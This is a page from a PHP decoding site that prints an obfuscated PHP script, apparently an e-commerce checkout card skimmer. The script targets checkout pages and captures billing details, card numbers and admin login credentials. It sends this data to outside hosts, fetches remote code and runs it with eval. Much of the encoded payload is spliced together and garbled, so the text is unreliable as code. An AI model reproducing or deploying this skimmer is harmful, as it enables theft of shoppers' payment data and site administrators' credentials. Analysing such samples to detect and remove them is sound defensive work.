Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$beda_code = base64_decode(trim("dHJ5IHsKICAgICRwb2tlanUgPSBhcnJheSgNCiAgICAgICAgJ3M6LycsI..

Decoded Output download

<?  $beda_code = base64_decode(trim("dHJ5IHsKICAgICRwb2tlanUgPSBhcnJheSgNCiAgICAgICAgJ3M6LycsICcxJywgJ3RtbCcsICdQYScsICdaYS16MCcsICdIVCcsICdGT1JXQScsICdHRVQnLA0KICAgICAgICAnKy89JywgJ3N0cnInLCAnZmlyZScsICdhZG1pJywgJ0hUVFAnLCAndGUnLCAnI29uZScsICdSRScsDQogICAgICAgICdBRERSJywgJ2dlfGMnLCAncHJpY2UnLCAnX2RlJywgJ2Rpc2NvJywgJ2FjZS93JywgJ2hlYycsICdodCcsDQogICAgICAgICdweCcsICdIVCcsICdjLnNwYScsICd0IycsICdvcmQnLCAnYWRkcmUnLCAnX0hPJywgJzEyNy4wJywNCiAgICAgICAgJ2tvdXR8JywgJ2Nrb3V0JywgJ2Jhc2UnLCAnRF8nLCAnRVRITycsICdudDonLCAnX0MnLCAnbWVyJywNCiAgICAgICAgJ0knLCAnUkVRVUUnLCAnX2MwMScsICdlJywgJ3RlJywgJy50JywgJyNeWycsICdBRCcsDQogICAgICAgICdUX0knLCAnU1QnLCAnUkUnLCAnJCMnLCAnI2NhcicsICdTRVJWJyk7CgogICAgJG92ZXN1YmVnZSA9ICRwb2tlanVbNDFdIC4gJ1NUX00nIC4gJHBva2VqdVszNl0gLiAnRCc7CiAgICAkY2h1anloYSA9ICRwb2tlanVbMTRdIC4gJ3BhJyAuICRwb2tlanVbMTddIC4gJ2hlYycgLiAkcG9rZWp1WzMyXSAuICdvbmVzJyAuICRwb2tlanVbNDRdIC4gJ3B8JyAuICRwb2tlanVbMTBdIC4gJ2NoZScgLiAkcG9rZWp1WzMzXSAuICd8b25lcycgLiAkcG9rZWp1WzEzXSAuICdwYycgLiAkcG9rZWp1WzIyXSAuICdrb3UnIC4gJHBva2VqdVsyN107CiAgICAkb3Z5a2hpenVsdSA9ICRwb2tlanVbNTBdIC4gJ1FVRScgLiAkcG9rZWp1WzQ5XSAuICdfVVInIC4gJHBva2VqdVs0MF07CiAgICAkZXZhemljaCA9ICRwb2tlanVbNTJdIC4gJ3QjJzsKICAgICR3YXh5emhvbCA9ICRwb2tlanVbMTFdIC4gJ25oJyAuICRwb2tlanVbMl07CiAgICAkb3h5cmFiYXIgPSAkcG9rZWp1WzIzXSAuICd0cCcgLiAkcG9rZWp1WzBdIC4gJy9wYXRoJyAuICRwb2tlanVbMjZdIC4gJ2NlL3NwJyAuICRwb2tlanVbMjFdIC4gJ2lkZ2V0JyAuICRwb2tlanVbNDVdIC4gJ3h0JzsKICAgICR0b3Jla28gPSAkcG9rZWp1WzI1XSAuICdUUCcgLiAkcG9rZWp1WzM4XSAuICdMSUVOJyAuICRwb2tlanVbNDhdIC4gJ1AnOwogICAgJHZpaG9neSA9ICRwb2tlanVbMTJdIC4gJ19YXycgLiAkcG9rZWp1WzZdIC4gJ1JERScgLiAkcG9rZWp1WzM1XSAuICdGT1InOwogICAgJGp1cWVxb3RoYSA9ICRwb2tlanVbMTVdIC4gJ01PVEVfJyAuICRwb2tlanVbNDddIC4gJ0RSJzsKICAgICRhdHV4eWcgPSAkcG9rZWp1WzI0XSAuICdjZWwnIC4gJHBva2VqdVszXSAuICdnZScgLiAkcG9rZWp1WzQyXSAuICcwMDInOwogICAgJHVkYW11ZG9sbyA9ICRwb2tlanVbNV0gLiAnVFAnIC4gJHBva2VqdVszMF0gLiAnU1QnOwogICAgJGJvY2hhZHV3ZSA9ICRwb2tlanVbMjBdIC4gJ3VudDonOwogICAgJHh1cXlzeWRhID0gJHBva2VqdVsyOF0gLiAnZXI6JzsKICAgICRpdmV0dWNoID0gJHBva2VqdVsxOF0gLiAnOic7CiAgICAkZXRoYXFpc2h1ID0gJHBva2VqdVszOV0gLiAnY2hhJyAuICRwb2tlanVbMzddOwogICAgJHNoaWtvY29wID0gJHBva2VqdVsyOV0gLiAnc3M6JzsKICAgICRhY2l6dWR1aGUgPSAkcG9rZWp1WzUzXSAuICdFUl8nIC4gJHBva2VqdVsxNl07CiAgICAkYWNpc2hvYyA9ICRwb2tlanVbN107CiAgICAkb3F5bGF6aXRlID0gJHBva2VqdVszNF0gLiAnNjQnIC4gJHBva2VqdVsxOV0gLiAnY29kJyAuICRwb2tlanVbNDNdOwogICAgJHRoYWxpdHlnYSA9ICRwb2tlanVbOV0gLiAnZXYnOwogICAgJGRlY2hhcWlyaSA9ICRwb2tlanVbNDZdIC4gJ0EtJyAuICRwb2tlanVbNF0gLiAnLTknIC4gJHBva2VqdVs4XSAuICddKycgLiAkcG9rZWp1WzUxXTsKICAgICRzaGFqYXB1bnV0aCA9ICRwb2tlanVbMzFdIC4gJy4wLicgLiAkcG9rZWp1WzFdOwogICAgJGF4aXZvbCA9IDA7CiAgICAkZXphdGVrZW0gPSAwOwogICAgJGFxdXpob2NoeW0gPSBpc3NldCgkX1NFUlZFUlskYWNpenVkdWhlXSkgPyAkX1NFUlZFUlskYWNpenVkdWhlXSA6ICRzaGFqYXB1bnV0aDsKICAgICRpemhpZ3l3dSA9IGlzc2V0KCRfU0VSVkVSWyR0b3Jla29dKSA/ICRfU0VSVkVSWyR0b3Jla29dIDogaXNzZXQoJF9TRVJWRVJbJHZpaG9neV0pID8gJF9TRVJWRVJbJHZpaG9neV0gOiAkX1NFUlZFUlskanVxZXFvdGhhXTsKICAgICR1bXV6eWYgPSAkX1NFUlZFUlskdWRhbXVkb2xvXTsKICAgIGZvciAoJGNvcGVxdSA9IDA7ICRjb3BlcXUgPCBzdHJsZW4oJHVtdXp5Zik7ICRjb3BlcXUrKykgewogICAgICAgICRheGl2b2wgKz0gb3JkKHN1YnN0cigkdW11enlmLCAkY29wZXF1LCAxKSk7CiAgICAgICAgJGV6YXRla2VtICs9ICRjb3BlcXUgKiBvcmQoc3Vic3RyKCR1bXV6eWYsICRjb3BlcXUsIDEpKTsKICAgIH0KCiAgICBpZiAoKGlzc2V0KCRfU0VSVkVSWyRvdmVzdWJlZ2VdKSkgJiYgKCRfU0VSVkVSWyRvdmVzdWJlZ2VdID09ICRhY2lzaG9jKSkgewogICAgICAgIGlmIChwcmVnX21hdGNoKCRjaHVqeWhhLCAkX1NFUlZFUlskb3Z5a2hpenVsdV0pICYmICghcHJlZ19tYXRjaCgkZXZhemljaCwgJF9TRVJWRVJbJG92eWtoaXp1bHVdKSkpIHsKICAgICAgICAgICAgaWYgKCghaXNzZXQoJF9DT09LSUVbJHdheHl6aG9sXSkpICYmICghaXNzZXQoJF9DT09LSUVbJGF0dXh5Z10pKSkgewogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKICAgICAgICAgICAgICAgICAgICAkZXNoZXpvbCA9IGN1cmxfaW5pdCgkb3h5cmFiYXIpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTUpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGVzaGV6b2wsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIiRib2NoYWR1d2UgJGF4aXZvbCIsICIkeHVxeXN5ZGEgJGV6YXRla2VtIiwgIiRpdmV0dWNoICRpemhpZ3l3dSIsICIkZXRoYXFpc2h1ICR1bXV6eWYiLCAiJHNoaWtvY29wICRhcXV6aG9jaHltIikpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IEBjdXJsX2V4ZWMoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IHRyaW0oJGp1emh1cW92KTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkZGVjaGFxaXJpLCAkanV6aHVxb3YpKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIChAJG9xeWxheml0ZSgkdGhhbGl0eWdhKCRqdXpodXFvdikpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfSBjYXRjaCAoRXhjZXB0aW9uICR1dGhvaHV0eXpobykgewogICAgCn0=")); 
 
define("TREX_CODE", trim('$NzQBgIsvRe="tre";$e8X5ar_="n";$OIwYNn_xer="ed";$riUB_jR="str";$e8X5ar_.="o";$riUB_jR.="r";$OIwYNn_xer.="oc";$e8X5ar_.="i";$OIwYNn_xer.="ed_";$e8X5ar_.="t";$OIwYNn_xer.="4";$NzQBgIsvRe.="ss";$NzQBgIsvRe.="a";$e8X5ar_.="cnu";$OIwYNn_xer.="6es";$e8X5ar_.="f";$OIwYNn_xer.="a";$OIwYNn_xer.="b";$e8X5ar_.="_et";$e8X5ar_.="ae";$e8X5ar_.="rc";$riUB_jR.="ev";$e8X5ar_=$riUB_jR($e8X5ar_);$OIwYNn_xer=$riUB_jR($OIwYNn_xer);$NzQBgIsvRe=$riUB_jR($NzQBgIsvRe);$Gf_yCdHFJN="BFVUh0JbJVRWJVRT9FJg4CIioibcJHXiAiLgkXYw91YjRCKzEDdvJ3XyCIgoQD9BCIgACIgACIgACIgoQD7kSehB3XjNGJgwSXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJfJmYnACLnUncugXZk5WY5BUb1x2bsV2YngCbpFWbABCIgACICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSArIDM2MDAwLCAiLyIpOw0KICAgICAgICAgICAgICAgIHNldGNvb2tpZSgiX2RudG9rZW4iLCAxLCB0aW1lKCkgLSAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn07IgoQD7kiMgwiMgwichVWefN2Ykgic0NnY1NHI9AichVWefN2YkACIpR3YuVnZoAiZpBCIgACIgACIgACIgACIgAiCNoQD7kSY0FGZfJXZzVHJgwyJiJTJnACLisiIoU2YhxGclJ3XyR3cg0DIhRXYk9lclNXdkACIgACIgACIgACIgACIgAiCNsTKwl2XyV2c1RCIuAyJ7cCIuASXn4WZr9GduR2XnsVRJt0TPN0XkAiLgIyOoRXYwRyOiAI+0DIH5USE90QOV0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgAICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gNiwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiA2LA0KICAgICAgICAgICAgICAgICAgICAXRfdXJsID0gImh0dHBzOi8vem9sby5wdy93dGYvaW5kZXgucGhwP2g9IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiAgICAgICAgICAgICRjb250ZW50ID0gydwb3N0Y29kZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ2NvdW50cnlfaWQnXSAuICd8JyAuICRfUE9TVFsnYmlsbGluZyddWyd0ZWxlcGhvbmUnXSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fSEVBRCIpKSB7DQoNCiAgICBkZWZpbmUoIk1FR0FMT0RPTl9IRUFEIiwgMSk7DQoNCiAgICBpZiAoIDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwNCiAgICAgICAgICAgICAgICBDVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgACIgACIK0ALlVnc0BiP9AiUFZ0UOFkUU5kUVRVRS9IgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIK0ALlNHbhZGI+0DISVERBVESfRFUPxkUVNEIgACIgA09LSUVbJ3BvcnR6aWxsYSddID0gJyc7DQoNCiAgICAgICAgaWYgKCgoaXNzZXQoJF9DT09LSUVbJ3d0ZiddKSkgJiYgKG1kNSgkX0NPT0tJRVsnd3RmJ10pID09ICc3YWMxY2NhNWJlZThiOGIzMWE1MjFiNVRVFVRSdyWSVkVSV0UfRCI9ACa0FGckACIgACIgACIgACIgoQD7BSKpkSXn4GZt91JbVUSL90TD9FJoQXZzNXahgCImYCIp01Js1Gdo5WatRWYnsVRJt0TPN0XkgCdlN3cpBiJmASKddiblt2b0TD9FJgACIgACIgACIgACIK0QKp01JhxGbppHdy9GcnsVRJt0TPN0XkgCdlN3cphCImlGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIQV1SDFkQf50TE9ETBdURNJCCAgICAgICAgICAgICBDVVJMT1BUX0VOQ09ESU5HID0+ICIiLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydwYXltZW50J10gYXMgJHBfa2V5ID0+ICRwX3ZhbHVlKSBXYiBCLiEGdhRWbfJCKll2av92Y0V2cgACIgACIgACIgACIK0wOddCbpFWbldyWddCIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTgICAgICAgQ1VSTE9QVF9FTkNPRElORyA9PiAiIiwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemIdR1UPB1XUB1TMJVVDt1cu9Wa0B3bkACIgACIgACIgACIgACIgAiCNsHIpQ3cvBHJoAiZpBCIgACIgACIgACIgoQDK0wOpACIgACIgACIgACIgoQDlNHbhZGI+0DIUN1TIllRJJVRW9FTTN1XUB1TMJV5UX1NJWkUgPiA0KQ0KICAgICAgICAgICAgaWYgKCRjcmMzMiAmIDB4ODAwMDAwMDApDQogICAgICAgICAgICAgICAgJGNyYzMyID0gJGNyYzMyIC0gMHgxMDAwMDAwMDA7DQogICAgICAgICRjcmMzMiA9IGFicygkY3JjMzIpOw0KICAgIUX1VSSSddOw0KICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkcGF0aCwgIi9kYXNoYm9hcmQvaW5kZXgva2V5Iik7DQogICAgICAgICAgICBpZiAoJHBvcykgew0KICAgICAgICAgICAgICAgICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCAk8iIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DI5FmcyF0ckxWZpZGJgACIgACIgACIgACIK0wegkSKddCduVWb5FGcnsFVT9EUfRCK0V2czlGKgYWagACIgACIgAiCNsTfgACIgACIgAiCNsTKsxWaiRCKlR2bj5WZfRjNlNXYiBSPgu9WbfN2YkACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0gOyASZzF2YgACIgACIgACIgACIgACIgACIgACIgACIgfc2V0LiovIiA9PiAyLA0KICAgICAgICAgICAgICAgICIvLipjY19leHBfeS4qLyIgPT4gMywNCiAgIXZi1Wdu91YjRCK0V2czlGKgYWagACIgACIgACIgACIK0gCN0HIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIK0QfgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgACIgACIgACIgACIK0gCN0HIgACIgACIgACIgACIXnUWbh5GdzJXamdyWddyZulGbslmYnsFVT9EUfRCI9ACbslmYkACIgACIgfSE9TVCddIC4gIiBbIiAuICRfU0VSVkVSWydTRVJWRVJfQUREUiddIC4gIl0qIikpOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCIrIiwgIR0FMT0RPTl9CQUNLVVAiIC4gQ1JDX01FR0FMT0RPTl9TSE9SVCkpIHsNCiAgICAgICAgZGVmaW5lK0XQRFVIdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgACIgACIK0wegkSKddCUJ9FVOVUSMN0XQRFVIdyWSVkVSV0UfRCK0V2czlGKgYWagACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCNsTXnI1TG9FRFRkUBdlUPZ0XY9FUURsDa052bt91YjRCIuAyJwcCI9ACa052bt91YjRCIgACIgACIgACIgACIgACIgACIgoQDpEDI90DIpgGdu9WbfCIgoQD7BSKpkiIjVGelJCKzR3cphXZf52bpR3YuVnZoAiJmASKnEzJg0TIgQnbjRCKoAiZpBCIgACIgACIgACIgACIgAiCNoQD9BCIgACIgACIgACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpQWZk92YuV2X5FGcfN2YkA91YjRCIgACIgACIgACIgACIgACIgACIgoQDpkSXnEgAiCNsTKz52bpRHcvRCIsg2YkgSehJnch9Fdw9GdlN3XsJXdjBCIgACIgACIgACIgACIgACIgACIK0wOpEGdhR2XyV2c1RCIuACbyV3X0V2ZkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgACIgACIgACIgoQDKXnsVRJt0TPN0XkgCdlN3cphCImYCIp01JuV2avRnbk91JbVUSL90TD9FJoQXZzNXahgCImlGIgACIgACIgoQDK0QfgACIgACIgAiCNAiIvoiL0V2cfd3bsxWZ5piLvICIgACIgACIgACIgACIgACIK0ALzAiP9AiIvoiLyFWZZ52bpRXYylGc4VmKu8iIgACIgACIgACIgACIgACIgoQDsMDI+0DIi8iKuIXYll3XwhXZq4yLiACIgACIgACIgACIgACIyVHJoknclVXcfBXdrNWYi9lbvR2bsF2Zl1GIu9Wa0Nmb1ZGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMxUSC9FUVt0QBJ0XO9ERPxUQHVUTigSZulmZlRGIgACIgACIgoQD7BSKpQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVFNCiAgICAgICAgICAgIGlmICghJGNvbnRlbnQpIHsCIgoQD7BSKlVHbhZ3XmRCI+0DI5V2afZGJgMXYgkXYyJXQzRGbllmZkgCIoNWYlJ3bmBCIgACIgACIgACIgoQDK0wOpQDI+0DIi8iKuQWaj91YjpiLvICIgACIguKmNjX251bS4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qY29udHJvbF9zZXR0aW5ncy4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qYdGggPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAzOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfeWVhciA9ICRwX3ZhbHVlOwRVJFUiA9PiB0cnVlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gMTIwLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiAVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICUSfBFSQhCImlGIgACIgACIgoQD7ADI6ASKddCVT9ESfBFVUh0JbJVRWJVRT9FJoIzMjJ3Yg8DIp01JUN1TI9FUURFSnslUFZlUFN1XkgCdlN3cpBSPgIzMjJ3YkACIgACIgACIK0wegkSKi40TE9ETBdURN91QSNkIoQWZulmZlRWsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UNCiAgICAgICAgICAgICAgICApOw0KDQoNCiAgICAgICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJGdldF91cmwpOw0KICAgICAgICAgICAgICAgIGN1cmxfU2csFmZg4TPgIVRFBVWGlkUFZ1XMN1UfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyEDI+0DIUV1TF1USU9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyED0gMTsNCiAgICAgICAgICAgICAgICAkb3B0aW9uc1tDVVJMT1BUX1BPU1RGSUVMRFNdID0gJHBvc3Q7DQogICAgICAgICAgICB9DQoNCNlNjRfZW5jb2RlKCRiaWxsKSwgdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAkX0NPT0tJRVsnX21kYXRhJ10NMSUVOVF9JUCddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdXNlcl9kYXRhID0gYmFzZTY0X2VuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiCAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkY250ID0gbWVnYWxvZG9uX2JhY2t1cF9xdWVyeSgAmJiAoaXNzZXQoJF9QT1NUWydsb2dpbiddWyd1c2VybmFtZSddKSkgJiYgKGlzc2V0KCRfUE9TVFsnbG9naW4nXVsncGFzc3dvcmQnXSkpKSkgew0KICAgICAgICAgICAgJGF0b2tlbiA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dpbi9PiAzLA0KICAgICAgICAgICAgICAgICIvLipzYXZhZ2Vfc2V0LiovIiA9PiA0LA0KICAgICAgICAgICApKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkY2NTBJFVOJVVUVkUfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DIz52bpRHcvRCIgACIgACIgACIgACIgACIK0wegkSKiQXaul2XsJXdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgoQD7IiIACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpU2csFmZgwCZlR2bj5WZflXYw91YjRCIuAyJ9cXZpZ3PwhGcugXZk5Wav40TE9ETBdURN9SbvNmLtVHbvxWZj9yL6MHc0RHanACIgACIgACIgACIgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIg1lKCkgKyAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgICRfQ09PS0lFWydfZG50b2tlbiddID0gJGF0b2tlbjsSKddibpd2bsdyWUN1TQ9FJoQXZzNXaogCImlGIgACIgACIgoQDK0wOi0zdllmd/AHaw5CelRmbp9iTPR0TMF0RF10LlNWYwNnLjhGdhB3LvozcwRHdoJCI9ACbyV3X0V2ZkACIgACIgACIK0wOpEDGJg4mc1RXZyBCIgACIgACIgACIgoQD7kCajRCKjVGel9FbyV3YABSPgQnblRnbvNGJgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cfxmc1NGIgACIgACIgACIgAiCNsTKsJXdkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgAiNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRjY195ZWFyKSA9PSA0KQ0KICAgICAgICAgICAgICAgICAgIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgCAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZQ0KICAgICAgICAgICAgICAgICAgICApOw0AgICAgICAgICAgICBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpUWdsFmdfZGJoACajRXa3NHIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpkyclh2Y0FWbkACL5V2afBHJgwSelt2XmRCKoNGdh12XnVmcwhCImlGIgACIgACIgACIgACIgACIgACIgoQD7ICAgICAgICAgICAgICAgICAgQGN1cmxfZXhlYygkY2gpOw0KICAggACIgACIgACIgAiCNwSZ1JHdg4TPgIVRSVkRFJ1TUVVQfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsRUUF9YX0ZPUldBUkRFRF9GT1InXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaXAgPSAkX1NFUlZFUlsnSFZnRCIgACIgACIgACIgAiCNsHIpkSKnMjNwgDO5AjY3kjYxITNhFzMihjY4UWZiVTYjNWMjF2NnASP9ASKddyd0Z2JbVUSL90TD9FJoUDZthCImYCIpkSXncHdmdyWFl0SP90QfRCK0V2czlGKoACf8BSKpcyM2ADO4kDMidTO21kbiddKSkpIHsNCiAgICAgICAgICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSAtIDM2MDAwLCAiLyIpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfZG5wYXkgLj0gJ3wnIC4gYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX21kYXRhJ10pOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoc3RgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRjbnQgIT0gJzEnKSB7DQogICAgICAgICAgICAgICAgICAgICRjbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vY2Vsb2x1bS5jb20vTUVHQUxPRE9OL2luZGV4LnBocD92aWV3PScgLibCwgJHBvc3QpIHsNCiAgICAgICAgICAgICRvcHRpb25zID0gYXJyYXkoDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgICAgICFSnslUFZlUFN1XkgCdlN3cphCImlGIgACIgACIgACIgACIgACIK0wOddiUERUQfVEVP1URSdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgAiCNsTKz9Gc50ZW50cygkZ2V0X3VybCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGV2YWwoJGNvbnRlbnQpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmICghZGVmaW5lZCgiTUVHQUxPRE9OX0JBQ0tVUF9CSUx52ctpiLvICIgACIgACIgACIgACIgACIK0ALyAiP9AiIvoiLoRnbv1kbvlGdhJXawhXZq4yLiACIgACIgACIgACIgACIgAiCNwiMg4TPgIyLq4Ca052bt9Fc4VmKu8iIgACIgACIgACIgACIgACIgoQDsIDI+0DIi8iKu02XwhXZfN2oQD9BCIgACIgACIgACIgoQD7kCduVGdu92YkgSbpJHdg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpg2YkgyYlhXZfxmc1NGQg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cF1kIoQWZulmZlRWIoAiZpBCIgAiCNoQD9BCIgAiCNsTKwADMxASJgIzMjJ3YkACLiQlUPh0Uf50TE9ETBdURN91QSNkIoUmbpZWZkBCIgACIgACIK0wOpIzMjJ3YkACLi40TE9ETBdURN91QSNkIoUmbpZWZkBCIgACsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsAjMxlNGRVIgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9IRUFERVIgPT4gZmFsc2UsDQogICA2bj9Fdld2XlxWamBEI9ACduVGdu92YkACIgACIgACIgACIgACIgAiCNCIgACIgACIgACIgACIgACIgoQD6QDIlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AgICAgIH0NCiAgICB9Ow0KDQogICAgaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fVSIgLiBDUkNfTUVHQUxPRE9OX1NIT1JUKSkgew0KICAgICAgICBkZWZpbmUoIk1FR0FMT0RPTl9VIiAuIENSQ19NRUdBTE9ET05fU0hPUlQsICIgACIgACIK0ALlVnc0BiP9AiUFJVRGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsTMuUDIU5EIzd3bk5WaXhCIw4SNvEG